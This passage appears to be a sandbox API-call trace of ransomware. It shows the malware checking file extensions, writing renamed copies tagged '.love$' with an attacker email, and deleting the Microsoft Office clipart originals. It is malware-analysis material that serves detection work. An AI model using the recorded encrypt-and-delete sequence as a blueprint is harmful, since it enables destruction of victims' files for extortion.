(lpString1=".jpg", lpString2=".xml") returned -1 [0283.864] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.864] lstrlenW (lpString="ja-jp.xml") returned 9 [0283.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.865] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=16616) returned 1 [0283.865] CloseHandle (hObject=0x35c) returned 1 [0283.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0283.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0283.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0283.866] lstrlenW (lpString=".doc") returned 4 [0283.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.866] lstrlenW (lpString=".docx") returned 5 [0283.866] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0283.866] lstrlenW (lpString=".pdf") returned 4 [0283.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.866] lstrlenW (lpString=".xls") returned 4 [0283.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.866] lstrlenW (lpString=".xlsx") returned 5 [0283.866] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0283.866] lstrlenW (lpString=".ppt") returned 4 [0283.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0283.866] lstrlenW (lpString=".zip") returned 4 [0283.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.867] lstrlenW (lpString=".rar") returned 4 [0283.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.867] lstrlenW (lpString=".bz2") returned 4 [0283.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.867] lstrlenW (lpString=".7z") returned 3 [0283.867] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[im.online@aol.com].love$")) returned 0 [0283.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[im.online@aol.com].love$")) returned 0 [0284.855] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.855] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0285.030] GetLastError () returned 0x0 [0285.030] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0285.044] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0285.083] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.083] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.083] SetEndOfFile (hFile=0x324) returned 1 [0285.084] CloseHandle (hObject=0x324) returned 1 [0285.084] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.084] SetEndOfFile (hFile=0x378) returned 1 [0285.085] CloseHandle (hObject=0x378) returned 1 [0285.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0285.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.087] lstrlenW (lpString=".doc") returned 4 [0285.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.087] lstrlenW (lpString=".docx") returned 5 [0285.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.087] lstrlenW (lpString=".pdf") returned 4 [0285.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.087] lstrlenW (lpString=".xls") returned 4 [0285.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.087] lstrlenW (lpString=".xlsx") returned 5 [0285.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.087] lstrlenW (lpString=".ppt") returned 4 [0285.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.087] lstrlenW (lpString=".zip") returned 4 [0285.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.088] lstrlenW (lpString=".rar") returned 4 [0285.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.088] lstrlenW (lpString=".bz2") returned 4 [0285.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.088] lstrlenW (lpString=".7z") returned 3 [0285.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.088] lstrlenW (lpString=".dbf") returned 4 [0285.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.088] lstrlenW (lpString=".1cd") returned 4 [0285.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.088] lstrlenW (lpString=".jpg") returned 4 [0285.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.088] lstrlenW (lpString=".doc") returned 4 [0285.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString=".docx") returned 5 [0285.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.089] lstrlenW (lpString=".pdf") returned 4 [0285.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString=".xls") returned 4 [0285.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.089] lstrlenW (lpString=".xlsx") returned 5 [0285.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.089] lstrlenW (lpString=".ppt") returned 4 [0285.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.089] lstrlenW (lpString=".zip") returned 4 [0285.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.089] lstrlenW (lpString=".rar") returned 4 [0285.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString=".bz2") returned 4 [0285.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString=".7z") returned 3 [0285.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.089] lstrlenW (lpString=".dbf") returned 4 [0285.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.089] lstrlenW (lpString=".1cd") returned 4 [0285.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0285.090] lstrlenW (lpString=".jpg") returned 4 [0285.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.090] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.090] lstrlenW (lpString="AN01184_.WMF") returned 12 [0285.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.091] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=3746) returned 1 [0285.091] CloseHandle (hObject=0x378) returned 1 [0285.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0285.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.092] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.092] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0285.092] GetLastError () returned 0x0 [0285.093] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0xea2, lpOverlapped=0x0) returned 1 [0285.094] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0285.096] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.096] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.096] SetEndOfFile (hFile=0x324) returned 1 [0285.097] CloseHandle (hObject=0x324) returned 1 [0285.097] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.097] SetEndOfFile (hFile=0x378) returned 1 [0285.098] CloseHandle (hObject=0x378) returned 1 [0285.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0285.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.099] lstrlenW (lpString=".doc") returned 4 [0285.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.099] lstrlenW (lpString=".docx") returned 5 [0285.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.099] lstrlenW (lpString=".pdf") returned 4 [0285.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.099] lstrlenW (lpString=".xls") returned 4 [0285.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.099] lstrlenW (lpString=".xlsx") returned 5 [0285.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.100] lstrlenW (lpString=".ppt") returned 4 [0285.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.100] lstrlenW (lpString=".zip") returned 4 [0285.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.100] lstrlenW (lpString=".rar") returned 4 [0285.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString=".bz2") returned 4 [0285.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString=".7z") returned 3 [0285.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.100] lstrlenW (lpString=".dbf") returned 4 [0285.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.100] lstrlenW (lpString=".1cd") returned 4 [0285.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.100] lstrlenW (lpString=".jpg") returned 4 [0285.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.100] lstrlenW (lpString=".doc") returned 4 [0285.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.100] lstrlenW (lpString=".docx") returned 5 [0285.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.100] lstrlenW (lpString=".pdf") returned 4 [0285.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.101] lstrlenW (lpString=".xls") returned 4 [0285.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.101] lstrlenW (lpString=".xlsx") returned 5 [0285.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.101] lstrlenW (lpString=".ppt") returned 4 [0285.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.101] lstrlenW (lpString=".zip") returned 4 [0285.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.101] lstrlenW (lpString=".rar") returned 4 [0285.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.101] lstrlenW (lpString=".bz2") returned 4 [0285.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.101] lstrlenW (lpString=".7z") returned 3 [0285.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.101] lstrlenW (lpString=".dbf") returned 4 [0285.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.101] lstrlenW (lpString=".1cd") returned 4 [0285.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0285.101] lstrlenW (lpString=".jpg") returned 4 [0285.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.102] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.102] lstrlenW (lpString="AN01216_.WMF") returned 12 [0285.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.102] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=5836) returned 1 [0285.102] CloseHandle (hObject=0x378) returned 1 [0285.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0285.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.103] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.103] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0285.104] GetLastError () returned 0x0 [0285.104] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x16cc, lpOverlapped=0x0) returned 1 [0285.781] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0285.783] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.787] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.787] SetEndOfFile (hFile=0x324) returned 1 [0285.788] CloseHandle (hObject=0x324) returned 1 [0285.788] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.788] SetEndOfFile (hFile=0x378) returned 1 [0285.789] CloseHandle (hObject=0x378) returned 1 [0285.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0285.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.791] lstrlenW (lpString=".doc") returned 4 [0285.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.791] lstrlenW (lpString=".docx") returned 5 [0285.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.791] lstrlenW (lpString=".pdf") returned 4 [0285.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.791] lstrlenW (lpString=".xls") returned 4 [0285.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.791] lstrlenW (lpString=".xlsx") returned 5 [0285.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.791] lstrlenW (lpString=".ppt") returned 4 [0285.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.791] lstrlenW (lpString=".zip") returned 4 [0285.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.791] lstrlenW (lpString=".rar") returned 4 [0285.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.791] lstrlenW (lpString=".bz2") returned 4 [0285.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.791] lstrlenW (lpString=".7z") returned 3 [0285.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.792] lstrlenW (lpString=".dbf") returned 4 [0285.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.792] lstrlenW (lpString=".1cd") returned 4 [0285.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.792] lstrlenW (lpString=".jpg") returned 4 [0285.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.792] lstrlenW (lpString=".doc") returned 4 [0285.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.792] lstrlenW (lpString=".docx") 